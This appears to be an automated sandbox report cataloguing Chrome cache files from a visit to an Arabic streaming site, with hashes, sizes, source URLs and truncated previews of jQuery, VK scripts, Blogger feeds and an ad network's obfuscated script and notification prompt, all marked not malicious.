SSDEEP:	96:bxLBtmwECnP0ChuKhLUikRoZVXbt2DSe2eK+7PRlSXeWLFgUNe8L/7oqN7:bdBtmfrChuKhUNeZVXh2uuPSX53Ne8LR
MD5:	E59DD6098EFAF851219024ADC1586D4E
SHA1:	A31CB562096774519FCF0CE986D335D3240502E7
SHA-256:	E4E807C2D7A63657844179801EA41304A2053B7C0E9ECFBFC686B26D70F0D064
SHA-512:	A1F2053CA4463197F45D9A53A3A1C7B308EBFEB35B78A6AA0B5EA20A13198238ACE1590475EB5BAC696AD16556E8BC3A05A7947937491663196D6E46E15931DC
Malicious:	false
Reputation:	low
URL:	https://blogger.googleusercontent.com/img/a/AVvXsEiTV-7Y2I-d67KrsXYeIouYAFpW5ubJhPjx7l6sbDTzEQM9hVfKlnXCW8nD01dufMkXG0RutlWWVJKy0qAkoqseene4q0eVlaID9BCe28OqBA9SN_Yjy-al3Ef6FedD80doXoz7UE1RESRxhFyHfFovuOoNPVN3ABwjXSb87O9QqO1nFtiOju4OIOF8u0o=s1280
Preview:	......JFIF.............lExif..II.......1.......2...............i.......:.......Google............0220........,......................C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((........,.."...............................................................................g..DI.$D..DI.$D..DI.$D..DI.$D..DK6.s.e..............\|..Q.@..............g1FQ..3....x....nu....5.#...o.%>q.#...o:...>6x.{..<...(9q6.u...Op.......k.yg.O.g....D]R.E~..k+.\|.'....].4x1jK...:.....:n.S..5.ho...1....=qa_a[.......z...J...u.F[J.'.W\|.u"-.l.3..(..[...G.Z}N..4.C.r=t.<.6.3......>...9~.>.....)=k.+{....\|....G........]..s..m.=%.....\.9.2..........;^...-..]...kym^..\|..}E....^...9~...OX-..65.T..7...Q.:.O.yIYg.-...z....(3.X-.l.3..(..\.Y.9\|.....c4.h...S.6u..e.d....f..>..l'X._m...V......9y....{..v\|..Q.@..............g1FQ.............g.................................................&s...(......................

Chrome Cache Entry: 232

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	3350
Entropy (8bit):	4.968350771717095
Encrypted:	false
SSDEEP:	96:eJY/EPgJA//DMlsH+dMjzdyhuKturHpg8gPVNDabkbfFWgH70c:koEPgJATmsrQt4MVN9tic
MD5:	6755415003869BD599C3FAE8E9792027
SHA1:	57946A22C79654014EB00FB548F727D302221873
SHA-256:	07F79FBDA35A2BF03F2940978670A2A53CF21E490ECCE887BF92FC2E3F359293
SHA-512:	A6A91BEBF5004F5D121C95151FA44E63A9A9099536F7978A49898A8B455EFD8E56205DA172A9FA3F46C7CAC71FC673683E0C7FE91CEB56FFF6C7C8725612FA96
Malicious:	false
Reputation:	low
Preview:	/jshint browser:true /./!. FitVids 1.1.. Copyright 2013, Chris Coyier - http://css-tricks.com + Dave Rupert - http://daverupert.com.* Credit to Thierry Koblentz - http://www.alistapart.com/articles/creating-intrinsic-ratios-for-video/.* Released under the WTFPL license - http://sam.zoy.org/wtfpl/../..;(function( $ ){.. 'use strict';.. $.fn.fitVids = function( options ) {. var settings = {. customSelector: null,. ignore: null. };.. if(!document.getElementById('fit-vids-style')) {. // appendStyles: https://github.com/toddmotto/fluidvids/blob/master/dist/fluidvids.js. var head = document.head \|\| document.getElementsByTagName('head')[0];. var css = '.fluid-width-video-wrapper{width:100%;position:relative;padding:0;}.fluid-width-video-wrapper iframe,.fluid-width-video-wrapper object,.fluid-width-video-wrapper embed {position:absolute;top:0;left:0;width:100%;height:100%;}';. var div = document.createElement("div");. div.innerHTML = '<p>x<

Chrome Cache Entry: 233

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (2159)
Category:	downloaded
Size (bytes):	2475
Entropy (8bit):	5.5350360579549065
Encrypted:	false
SSDEEP:	48:vaIAi5UQvj+e8CjIHbtHqoxar6pIZ9HUIjr+SDHk9y89+WHAQxYK/JBL:35Keb07LxamE1r+RyY+FQxYKjL
MD5:	04D073CABFD96FAB09D1212C4BA8C3C7
SHA1:	FFD1E3F0FDB14B9F199FD900797CD3FC1E9EC78B
SHA-256:	CAE602ED14C04F9D61C14B84A753469762B9C4A709EA32250F858BDE045C213E
SHA-512:	29A6B1B7EE8E92EA34333F2B3767FA6B35A8C4E181E4182A27ED5CAF0B6DCE72CC66105B5CC3A97918A7212F2885F1B5E1364CBA01E58329DB42FCA9A870769E
Malicious:	false
Reputation:	low
URL:	https://www.mycimalive.com/feeds/posts/default/-/%D9%83%D8%B1%D8%AA%D9%88%D9%86?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945587003&data&_=1728945587004
Preview:	// API callback.jQuery11100049902415236919184_1728945587003({"version":"1.0","encoding":"UTF-8","feed":{"xmlns":"http://www.w3.org/2005/Atom","xmlns$openSearch":"http://a9.com/-/spec/opensearchrss/1.0/","xmlns$blogger":"http://schemas.google.com/blogger/2008","xmlns$georss":"http://www.georss.org/georss","xmlns$gd":"http://schemas.google.com/g/2005","xmlns$thr":"http://purl.org/syndication/thread/1.0","id":{"$t":"tag:blogger.com,1999:blog-6282888993036066443"},"updated":{"$t":"2024-10-14T23:30:51.391+03:00"},"category":[{"term":"...... ...... ......"},{"term":"........"},{"term":"........"},{"term":".... ... .. ....."},{"term":"..... .. ......"},{"term":"..... .... ...."},{"term":".... ........."},{"term":"..."},{"term":".... ..... .. ...."},{"term":"..... ...."},{"term":"...... ......."},{"term":"....... 2"},{"term":"..... ......"},{"term":".

Chrome Cache Entry: 234

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	83379
Entropy (8bit):	5.5881251787511665
Encrypted:	false
SSDEEP:	1536:0y2XCFoHcQ81KTXBvGvRmTxOMJir2w5tqURNVB74+HF45Rd:0nXC3eXc4kMJfw5YUvFFSd
MD5:	89F5B35985B2B91B75ECEDCCC175AC52
SHA1:	EB05692315117C251412153AFCB02962DB5A3142
SHA-256:	8A8A77834294B60CC9E6ECCFB99BBBC5D03439867B3560821818C2463651D232
SHA-512:	434CF85A36FEAAFF2FB9881895955C7511F04354F2D89E34B627B2495626F5719EF5FC5BF80ACC577869D7981109EBA7D7F1B877C90C923F2DB6C9243687C4C6
Malicious:	false
Reputation:	low
URL:	https://phicmune.net/3bT/27mJf/universal.min.js?v=3.1.562
Preview:	(function(x){(()=>{'use strict';var __webpack_modules__=x.ir(x.x,(e,t)=>{Object[x.QK](t,x.Lj,x.ir(x.qb,!x.wr)),t[x.Pj]=t[x.fj]=void x.wr;const r=x.Ar,o=[];function n(e){const t=window[x.UE][x.xg][x.Ub][x.jY]\|\|r;[window[t]\|\|[],o][x.ME](t=>{const r=t[x.aY](e);r>-x.cj&&t[x.Nh](r,x.cj)})}t[x.Pj]=function(e,t,n,i,a){let s;try{i instanceof HTMLScriptElement&&(s=i[x.PW][x.kY](x.nC)[x.lE])}catch(e){}const c=window[x.UE][x.xg][x.Ub][x.jY]\|\|r;window[c]?window[c][x.ME](e=>{e[x.NE]===n&&e[x.Fp]&&(n=e[x.Fp],s=e[x.ZE])}):window[c]=[];const d=x.ir(x.eg,e,x.Eb,t,x.NE,n,x.ZE,s);a&&(d[x.Ag]=x.ir(x.bj,a)),o[x.SG](d),window[c][x.SG](d)},t[x.fj]=function(){o[x.ME](n)}},x.r,(e,t,r)=>{Object[x.QK](t,x.Lj,x.ir(x.qb,!x.wr)),t[x.xk]=t[x.Kk]=t[x.rk]=void x.wr;const o=r(x.M),n=e=>x.bEex.bE*x.jj,i=(x.wr,o[x.Ek])(x.Nj);t[x.rk]=function(e,t){t<x.cj&&t>x.wr&&(e/=t,t=x.cj);const r=i[x.iK](),o=Date[x.XY]()-n(e);return r[x.IY](e=>e>o)[x.YY]<t},t[x.Kk]=function(){i[x.rg]()},t[x.xk]=function(e){const t=i[x.iK](),r=Date[

Chrome Cache Entry: 235

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (846)
Category:	dropped
Size (bytes):	431427
Entropy (8bit):	5.585024770598283
Encrypted:	false
SSDEEP:	6144:JMHlN0OuMt7lTa9gJdTMImwpH727e7c7H7w7t7W7p7e7u717L7E7g7D7jr1v7HF:GHBsH
MD5:	7748CCE3AF38B3CD3ACEA15224571626
SHA1:	77A7E2066505899DCD094615D9AE8601EA9E492E
SHA-256:	A7A309F06B9D3FC0266E54613E7D55866B7140B68CD0C5636BC0DA4E18CE7662
SHA-512:	7A0752DA0D782F5BB99170B411EE002A8E36BCEE0F08477A108F9B6ED8EE52FF58259A71365C2DBDAD3601EBA095652598F051CED81DA881FDF3BBA999407980
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>.<html class='rtl' dir='rtl' lang='ar' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>.<head>.<script async='async' crossorigin='anonymous' src='https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5999781818075238'></script>.<meta content='width=device-width, initial-scale=1, maximum-scale=1' name='viewport'/>.<script src='https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js' type='text/javascript'></script>.<meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>. Chrome, Firefox OS and Opera -->.<meta content='' name='theme-color'/>. Windows Phone -->.<meta content='' name='msapplication-navbutton-color'/>.<meta content='blogger' name='generator'/>.<link href="https://www.mycimalive.com/favicon.ico" rel='icon' type='image/x-icon' />.<link href="https://www.mycimalive.com/" rel='canon

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	145
Entropy (8bit):	4.3382637030117746
Encrypted:	false
SSDEEP:	3:qVvzLURObOb0qHXbvxL4AqWrKb0GklITULLP61IWKBc4NGL33:qFzLIkObRHXLx0AqWObtklIgLP8IWKqT
MD5:	434BB1998B2CDCC59686812AE708A9DE
SHA1:	85BACAABECFA829116FD086046C1FE810397F73E
SHA-256:	7A6FD962B4686F8277823B26CDA79726EE97ABC0C7F649225EB3C35DF2949FE4
SHA-512:	B8640BDC2DFE75F26A419685300A5316DFFDAA7B03935A06016EAB2C0871F074A86BCE9C378730E3B4AC81EBFB7A991D2F7A90971166470BAB1B02F5245B425E
Malicious:	false
Reputation:	low
URL:	https://phaivusaido.com/policy-sweep-check.htm?offer_id=99275599&geo=US&oaid=0080f52b8e41436deb287525cd342cae&s=869823461617578654&z=8079706&b=21546778&var=&campaignid=14083&utm_campaign=&utm_medium=8079706&utm_source=zd_14083&utm_term=21546778&utm_content=zd_public_v2&country=US
Preview:	<html>.<head><title>404 Not Found</title></head>.<body>.<center><h1>404 Not Found</h1></center>.<hr><center>nginx</center>.</body>.</html>.......

Chrome Cache Entry: 237

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (2183)
Category:	downloaded
Size (bytes):	2499
Entropy (8bit):	5.555083796078075
Encrypted:	false
SSDEEP:	48:vA2IAi5UQvj+e8CjIHbtHqoxar6pIZ9HUIjkFDHk9y8CHAQxYK/JBL:Yb5Keb07LxamE1kQyyQxYKjL
MD5:	645C1000E3FA38A58E8EFD5ADE3B8C49
SHA1:	2329576817CF18FAF6423D8D2E3A0987E2C698DA
SHA-256:	B34EF10FFF494B63E864216DC6E10072E3FCB8BC763C57B7B41849B8E4336378
SHA-512:	2D60875D5A40ACC2DD28709BBD99D1C2B4571B49E8B75F971BE9B4C09D7C8EED116303877F7C3458870FA4E78717233591CFF9D74FAD7891B713DF42B673CFBE
Malicious:	false
Reputation:	low
URL:	https://www.mycimalive.com/feeds/posts/default/-/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945586999&data&_=1728945587000
Preview:	// API callback.jQuery11100049902415236919184_1728945586999({"version":"1.0","encoding":"UTF-8","feed":{"xmlns":"http://www.w3.org/2005/Atom","xmlns$openSearch":"http://a9.com/-/spec/opensearchrss/1.0/","xmlns$blogger":"http://schemas.google.com/blogger/2008","xmlns$georss":"http://www.georss.org/georss","xmlns$gd":"http://schemas.google.com/g/2005","xmlns$thr":"http://purl.org/syndication/thread/1.0","id":{"$t":"tag:blogger.com,1999:blog-6282888993036066443"},"updated":{"$t":"2024-10-14T23:30:51.391+03:00"},"category":[{"term":"...... ...... ......"},{"term":"........"},{"term":"........"},{"term":".... ... .. ....."},{"term":"..... .. ......"},{"term":"..... .... ...."},{"term":".... ........."},{"term":"..."},{"term":".... ..... .. ...."},{"term":"..... ...."},{"term":"...... ......."},{"term":"....... 2"},{"term":"..... ......"},{"term":".

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65533), with no line terminators
Category:	downloaded
Size (bytes):	280673
Entropy (8bit):	4.967084268674725
Encrypted:	false
SSDEEP:	6144:gxytMqAmEyhJ/4cW+YASPmVR5mkXdwF53WT:qytRLvHYRaakl
MD5:	1450EA2D55AFA8ECDB4A0513AEF01596
SHA1:	7D8DE3FC6E983B8900C3336C5510585F7A82DB8C
SHA-256:	EEB094E0B985CDC633B5E1298B160F48A3ADEFD96657758AAE0FBA1F16841C4F
SHA-512:	2BDF70E8511DCB7DE6B9A0F9D2F6573EB25BAA98D9F6EF41CA106F039F487FCFCF453A0C682ECAE52DC235DC61D4D20CE77607D969CB816569C2BA308DFA7CC5
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/dist/web/chunks/vkcom-kit-icons.57d97a75.js
Preview:	."use strict";(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[89631],{375495:(l,o,e)=>{e.d(o,{Icon12LiveBadge:()=>c});var c=(0,e(844990).makeIcon)("Icon12LiveBadge","live_badge_12","0 0 24 12",'<symbol xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 12" id="live_badge_12"><path fill="#FF3347" d="M0 4.8c0-1.68 0-2.52.327-3.162A3 3 0 0 1 1.638.327C2.28 0 3.12 0 4.8 0h14.4c1.68 0 2.52 0 3.162.327a3 3 0 0 1 1.311 1.311C24 2.28 24 3.12 24 4.8v2.4c0 1.68 0 2.52-.327 3.162a3 3 0 0 1-1.311 1.311C21.72 12 20.88 12 19.2 12H4.8c-1.68 0-2.52 0-3.162-.327a3 3 0 0 1-1.311-1.311C0 9.72 0 8.88 0 7.2z" /><path fill="#fff" d="M3.625 8.923h2.743c.344 0 .567-.19.567-.506s-.227-.506-.567-.506H4.25V3.64c0-.405-.232-.64-.625-.64S3 3.235 3 3.64v4.643c0 .405.232.64.625.64M8.684 9c.393 0 .625-.235.625-.636V3.64c0-.405-.232-.64-.625-.64s-.625.235-.625.64v4.724c0 .401.232.636.625.636m4.451 0c.484 0 .774-.21.956-.704l1.672-4.405a.9.9 0 0 0 .062-.328c0-.332-.26-.563-.641-.563-.327 0-.514

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (51779), with no line terminators
Category:	downloaded
Size (bytes):	51782
Entropy (8bit):	5.153135111356789
Encrypted:	false
SSDEEP:	1536:d15PlrkmqXmQmW997JCVD8wWOII9dwL9hgbGfidAorMcskfZ:v/+5CVDWdkfZ
MD5:	83EF25331A21F48E745008AE3CAEE311
SHA1:	85CF3DC7D3B5B0401AC4E438254CB5E0F352620B
SHA-256:	9799562D2512F38F6F97D30968DBD2121BA4491B1ADEF298E6B06401743DADB4
SHA-512:	44BDECDA060BAD565996F0657A71A25940E49593F3652EAFF9A3CE433F63895D91209F1C62BE25A28D415F444F2ED538164D96BFC868235B283B92ED721DD6BC
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/dist/web/chunks/shopify.0360ab85.js
Preview:	."use strict";(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[57407],{131425:(t,e,r)=>{r.d(e,{DragMoveEvent:()=>i,DragOutContainerEvent:()=>u,DragOutEvent:()=>c,DragOverContainerEvent:()=>d,DragOverEvent:()=>a,DragPressureEvent:()=>h,DragStartEvent:()=>o,DragStopEvent:()=>g,DragStoppedEvent:()=>m,isDragOverEvent:()=>l});var n=r(993019);class s extends n.AbstractEvent{constructor(t){super(t),this.data=t}get source(){return this.data.source}get originalSource(){return this.data.originalSource}get mirror(){return this.data.mirror}get sourceContainer(){return this.data.sourceContainer}get sensorEvent(){return this.data.sensorEvent}get originalEvent(){return this.sensorEvent?this.sensorEvent.originalEvent:null}}s.type="drag";class o extends s{}o.type="drag:start",o.cancelable=!0;class i extends s{}i.type="drag:move";class a extends s{get overContainer(){return this.data.overContainer}get over(){return this.data.over}}function l(t){return t.type===a.type}a.type="drag:over",a.can

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32341)
Category:	downloaded
Size (bytes):	96381
Entropy (8bit):	5.38156916982579
Encrypted:	false
SSDEEP:	1536:EPpEy5BMibZGOj/bEe8v+/UWf4IhvAuCh/jqkODZ2D5N9Rag0MOIdSZAgtgoX5Yn:bIO/e2D5c4LgtImLja98HrK
MD5:	8FC25E27D42774AEAE6EDBC0A18B72AA
SHA1:	B66ED708717BF0B4A005A4D0113AF8843EF3B8FF
SHA-256:	B294E973896F8F874E90A8EB1A8908AC790980D034C4C4BDF0FC3D37B8ABF682
SHA-512:	87D90A665C15D71AC872BD8BC003D9863964C7EC7ADA6370B902B93C0BBD7770FE25730D946C7C6A465BAA95EFA74BC0E78AF3F83AEA615AF35060CC8702A6C1
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js
Preview:	/! jQuery v1.11.0 \| (c) 2005, 2014 jQuery Foundation, Inc. \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k="".trim,l={},m="1.11.0",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,functio

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (2183)
Category:	dropped
Size (bytes):	2499
Entropy (8bit):	5.555296024988899
Encrypted:	false
SSDEEP:	48:vQIAi5UQvj+e8CjIHbtHqoxar6pIZ9HUIjkFDHk9y8CHAQxYK/JBL:l5Keb07LxamE1kQyyQxYKjL
MD5:	A9626DBBECA850569164C41C5242E786
SHA1:	211276C68447FC02A9F18E8CF8A6A7D6F37087BB
SHA-256:	2E1570E0CDADF511BF9B75FB4580FDDA38D3F2B692393CEC5A44BFA7F20351C2
SHA-512:	F19069E7B434F1FBE5FF33CF757674D69043B4309273D5E4CFCCD0FE237B399F065715E9F690D89114A2E6CCDCED4AEDA4EDB4FFD3464E5D35CB8EF87624573B
Malicious:	false
Reputation:	low
Preview:	// API callback.jQuery11100049902415236919184_1728945587001({"version":"1.0","encoding":"UTF-8","feed":{"xmlns":"http://www.w3.org/2005/Atom","xmlns$openSearch":"http://a9.com/-/spec/opensearchrss/1.0/","xmlns$blogger":"http://schemas.google.com/blogger/2008","xmlns$georss":"http://www.georss.org/georss","xmlns$gd":"http://schemas.google.com/g/2005","xmlns$thr":"http://purl.org/syndication/thread/1.0","id":{"$t":"tag:blogger.com,1999:blog-6282888993036066443"},"updated":{"$t":"2024-10-14T23:30:51.391+03:00"},"category":[{"term":"...... ...... ......"},{"term":"........"},{"term":"........"},{"term":".... ... .. ....."},{"term":"..... .. ......"},{"term":"..... .... ...."},{"term":".... ........."},{"term":"..."},{"term":".... ..... .. ...."},{"term":"..... ...."},{"term":"...... ......."},{"term":"....... 2"},{"term":"..... ......"},{"term":".

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	57212
Entropy (8bit):	5.867940942221977
Encrypted:	false
SSDEEP:	768:PUDeGwmUh69By1+mJDE3iLyWYkr7XMGB/nt0H:8DeGA6sJDE+/g
MD5:	BC5E6C6271508AD735B7A4D3C4E05AA6
SHA1:	161CE6F953D497C68AEF96D8A289DF6228596BF4
SHA-256:	2D436BED719DF011538C1544D4BEECCAFBC477B6D03889FE13C93B7B582CF8E2
SHA-512:	6CEA462CB029FCA8CBF97E01F05AF4F594AF628102724272B283C152E303542183569AEFF9F2162D9551FA28515A61C184BDFDE29A61454CEA6ED17D12B89600
Malicious:	false
Reputation:	low
URL:	https://phicmune.net/3bT/27mJf/defaultSkin.min.js
Preview:	{"iframe":{.."defaults":{"icon":""},.."html":"<html lang=\"en\"><head><meta charset=\"UTF-8\"><meta name=\"robots\" content=\"noindex\"><meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"><meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\"></head><body><main class=\"sc\"><div class=\"sc__wrp\"><div class=\"sc__sw\"><div class=\"sc__sw__close\"></div><div class=\"sc__sw__icon\"></div><div class=\"sc__sw__heading\">{notificationHeading}</div><div class=\"sc__sw__text sc__sw__text-desktop\">{notificationText}</div><div class=\"sc__sw__text sc__sw__text-mobile\">{notificationTextMobile}</div><div class=\"sc__sw__btn-c\"><button id=\"B2\" class=\"sc__sw__btn sc__sw__btn--allow\">{allowBtn}</button><button id=\"B1\" class=\"sc__sw__btn sc__sw__btn--block\">{denyBtn}</button></div></div></div></main><style>html{line-height:1.15;-webkit-text-size-adjust:100%}iframe{color-scheme:auto}body{margin:0}main{display:block}h1{font-size:2em;margin:.67em 0}hr{box-sizing:conten

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65454)
Category:	downloaded
Size (bytes):	694384
Entropy (8bit):	5.670238704753241
Encrypted:	false
SSDEEP:	12288:ogEzTBznEGpe+EJgh+aH78S5pnxYGkhLD5KYREDmEQ54H6gMwtqdVdY:ogE/BznEGpnEJglxYGkhLD5Kl
MD5:	3ABB7709904AF292C276FA93BC2E8CB4
SHA1:	7448039ADA40B6A00CA3932A72E91D8120CA7161
SHA-256:	80A172B10768C151E42D730A511B01243D4E6CC4A0B80A2EAD7822D422DC4D8F
SHA-512:	4FC1A46C9ED6502BC672A82CD12294E6D3FF3D1B624F6D571B9E00C96B9D76D409160749AEB5FB8E96C22A162A4882298DEF595D7B41FC340EBE42BA757D3037
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/dist/web/chunks/bootstrap.ef881778.js
Preview:	./! For license information please see bootstrap.ef881778.js.LICENSE.txt /.(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[35623],{365006:(e,t,o)=>{"use strict";o.d(t,{API_VERSION:()=>r});const r="5.243"},801746:(e,t,o)=>{"use strict";function r(){return{icon:'<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8 3.25a4.75 4.75 0 0 0-4.15 7.07.75.75 0 1 1-1.3.73A6.25 6.25 0 1 1 8 14.25a.75.75 0 0 1 0-1.5 4.75 4.75 0 1 0 0-9.5Z" clip-rule="evenodd"/></svg>',name:"spinner_16"}}o.d(t,{getIcon16Spinner:()=>r})},680208:(e,t,o)=>{"use strict";function r(){return{icon:'<svg fill="none" height="20" viewBox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M4.72 4.72c.3-.3.77-.3 1.06 0L10 8.94l4.22-4.22a.75.75 0 1 1 1.06 1.06L11.06 10l4.22 4.22a.75.75 0 1 1-1.06 1.06L10 11.06l-4.22 4.22a.75.75 0 0 1-1.06-1.06L8.94 10 4.72 5.78a.75.75 0 0 1 0-1.06z" fill="currentCo

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (39550), with no line terminators
Category:	dropped
Size (bytes):	39577
Entropy (8bit):	5.296503458696106
Encrypted:	false
SSDEEP:	768:FnKhJy7QXxTLNbp0TjR0OqT83oCFnyqV7uusuNXMaPMtYTpdMXs1/19knAMS8vnI:FK7nTfrTBqdlmfSs8x19knh/q78JMV2o
MD5:	CD1267F5BAE9CB111420EC6B9B3A56E9
SHA1:	724E51C1308074C31DB9E8B1A03D6B59A7B5297E
SHA-256:	1ECADAC9D68BB1CB6CC4D1540D12A047D731BEE7D7435A2D31C2AC5C618AA16C
SHA-512:	1044D01500DCEB817CF4454BC41EC545AFB93B11661792284FE58F80D4C8DBC24CACBD85787FAAB00FE975EEE2D655AC3250E31086E56D55D97076F3771D04F5
Malicious:	false
Reputation:	low
Preview:	."use strict";(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[14232],{118920:(e,t,s)=>{s.d(t,{default:()=>i});var n=s(474848),o=s(296540);class i extends o.Component{static mapFilterOptionsToDropdownOptions(e){return e?e.map((e=>[e.constant,e.name])):[]}componentDidMount(){const e=this.props.config.placeholder\|\|"",t=this.onChange.bind(this);this.state.input=new Dropdown(ge(this.state.filterElementId),i.mapFilterOptionsToDropdownOptions(this.props.config.options),{selectedItems:this.props.config.selected,onChange:t,placeholder:e,multiselect:!this.props.singleSelectCrutch,autocomplete:!0,width:this.props.width??200,big:!0,maxItems:this.props.maxItems??50})}componentDidUpdate(e,t,s){if(this.props.config.selected!==e.config.selected&&Array.isArray(this.props.config.selected)&&0===this.props.config.selected.length)this.state.input.clear();else if(this.props.singleSelectCrutch){const t=this.state.input.selectedItems(),s=t&&t[0]&&t[0][0]?t[0][0]:null;if(!s)return;this.props.confi

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (10452), with no line terminators
Category:	downloaded
Size (bytes):	10455
Entropy (8bit):	5.632877251556275
Encrypted:	false
SSDEEP:	192:lXcKxOyQ3ChPXdG/CLY8B6YJBG8i12zRvUD8CM0CfqB2IAIalYpe890ys6C:lXTXQmPg/TY/G8i12zRvUDm0COnpPWyu
MD5:	FC051D599511162099B7630A78601138
SHA1:	CA1A1958770AB068C21DCD816976CF2BB31B2F62
SHA-256:	1BCDA77A99DB58FBC06376EBA44A1A02BCC23017E1369C0D9B122F8AAEFC385D
SHA-512:	8CFD5B423611D786940CF077A7928FA1B9EE290C9B0ECC3D5011DB451A1A84C0247158550A4729308EC8BDC7B7667A952C6C811EF4C5ED3BE289E9726BF7588B
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/dist/web/video_ext.4206c448.js
Preview:	.(()=>{"use strict";var e,i,t,a={729177:(e,i,t)=>{t.d(i,{init:()=>r});var a=t(34692),_=t(273608);function r(e){const i=cur.player;if(!i\|\|!window.postMessage)return;const t=new _.default(e);function r(){t.send("inited",n({videoId:i.getVideoId()}))}function n(e={}){return{...e,state:i.getState(),time:i.curTime(),duration:i.getDuration(),volume:i.getVolume(),quality:i.getQuality(),muted:i.isMuted()}}i.on(a.STATE_CHANGE,(function(e,i){let a=e;switch("playing"==a&&(a="unstarted"==i?"started":"resumed"),a){case"started":window.setTimeout((()=>{t.send(a,n())}),700);break;case"resumed":case"paused":case"ended":case"error":t.send(a,n())}})),i.on(a.MEDIA_TIMEUPDATE,(function(){t.send("timeupdate",n())})),i.on(a.LIVE_TIME,(function(e){t.send("timeupdate",n({time:e}))})),i.on(a.MEDIA_VOLUMECHANGE,(function(){t.send("volumechange",n())})),i.on(a.QUALITY_CHANGE,(function(){t.send("qualitychange",n())})),i.on(a.ADS_LINEAR_STARTED,(function({section:e}){cur.mvOpts.send_ad_events&&t.send("adStarted",

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	65
Entropy (8bit):	4.650698343858124
Encrypted:	false
SSDEEP:	3:YCMxvVVXDESURYidQRxTADUxXMcYU:YCM5VCHdExMDkcXU
MD5:	7898FEE32EE7F0968345F6919D6041ED
SHA1:	A86B7D91F9842C49F93632B712DD5B76074D093C
SHA-256:	E0840D679EE5C89CA2540EECA9BE1AFFF8D04633966DF344193E4A276CCF565C
SHA-512:	EB78D18E7979C5AD36FB2E163A14AAB6A3C8FC585058D684D71F35D50EF27B9BD86352F8C95C5203938AD0F627F0E5CF0D6AC1A45A2A35733CC70ECD41AD5B7F
Malicious:	false
Reputation:	low
Preview:	{"gid":"0080f52b8e41436deb287525cd342cae","skipSubscribe":false}.

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
